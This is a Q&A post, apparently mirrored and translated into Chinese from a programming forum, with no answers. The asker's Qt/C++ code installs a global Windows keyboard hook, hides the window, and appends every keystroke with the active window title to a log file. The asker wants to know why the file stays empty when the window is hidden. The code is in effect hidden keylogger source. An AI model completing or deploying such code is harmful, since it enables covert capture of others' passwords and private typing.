使用隐藏窗口Qt c ++编写文件

时间:2014-03-21 10:25:49

标签: c++ windows qt

我有一个程序用Qt将一些东西写入文件。 它还输出应该在控制台上的文件中的所有内容。

我想要做的是隐藏窗口,以便进程可以在后台运行。 当我调用MainWindow的hide()方法时,控制台会一直显示应该放在文件中的数据,但文件仍为空。

请注意,我使用的是fstream函数,而不是由Qt提供。

问题可能来自哪里?

单击按钮时隐藏()我的窗口:

void MainWindow::on_pushButton_clicked()
{
    if (ui->editLogFilePath->text().length() > 0) {
        if (!(hHook = SetWindowsHookEx(idHook, mKeyboardProc, GetModuleHandle(NULL), threadId))) {
            qDebug() << "Hook failed !";
            return ;
        }
        else
            hide()
    }
}

}

我在mKeyboardProc函数中填写我的文件:

static MainWindow *cur = NULL; // initialized to cur = this; in my constructor

LRESULT CALLBACK    mKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {

    LRESULT nextHook = CallNextHookEx(cur->getHook(), nCode, wParam, lParam);
    if (wParam == WM_KEYDOWN) {
        std::ofstream        out;

        out.open(cur->getUi()->editLogFilePath->text().toStdString().c_str(), std::ofstream::app);
        if (!out.is_open())
            qDebug() << "open file fail";
        else
            qDebug() << "open file success";
        KBDLLHOOKSTRUCT     cKey = *((KBDLLHOOKSTRUCT*) lParam);
        wchar_t             buffer[5];
        BYTE                keyboard_state[256];
        GetKeyboardState(keyboard_state);
        updateKeyState(keyboard_state, VK_SHIFT);
        updateKeyState(keyboard_state, VK_CAPITAL);
        updateKeyState(keyboard_state, VK_CONTROL);
        updateKeyState(keyboard_state, VK_MENU);

        HKL keyboard_layout = GetKeyboardLayout(0);

        char lpszName[0x100] = {0};
        DWORD   dwMsg = 1;
        dwMsg += cKey.scanCode << 16;
        dwMsg += cKey.flags << 24;
        buffer[4] = L'\0';
        ToUnicodeEx(cKey.vkCode, cKey.scanCode, keyboard_state, buffer, 4, 0, keyboard_layout);
        qDebug() << "Value : '" << QString::fromUtf16((ushort*)buffer) << "'  Key : '" << QString::fromUtf16((ushort*)lpszName) << "'";
        QString      toFile = "\tValue : '" + QString::fromUtf16((ushort*)buffer) + "' \tKey : '" + QString::fromUtf16((ushort*)lpszName) + "'";
        std::string  def = cur->checkWindowChange() + toFile.toStdString() + "\n";

        out << def;
        out.close();
    }
    return nextHook;
}

提前致谢(抱歉英语不好)

0 个答案:

没有答案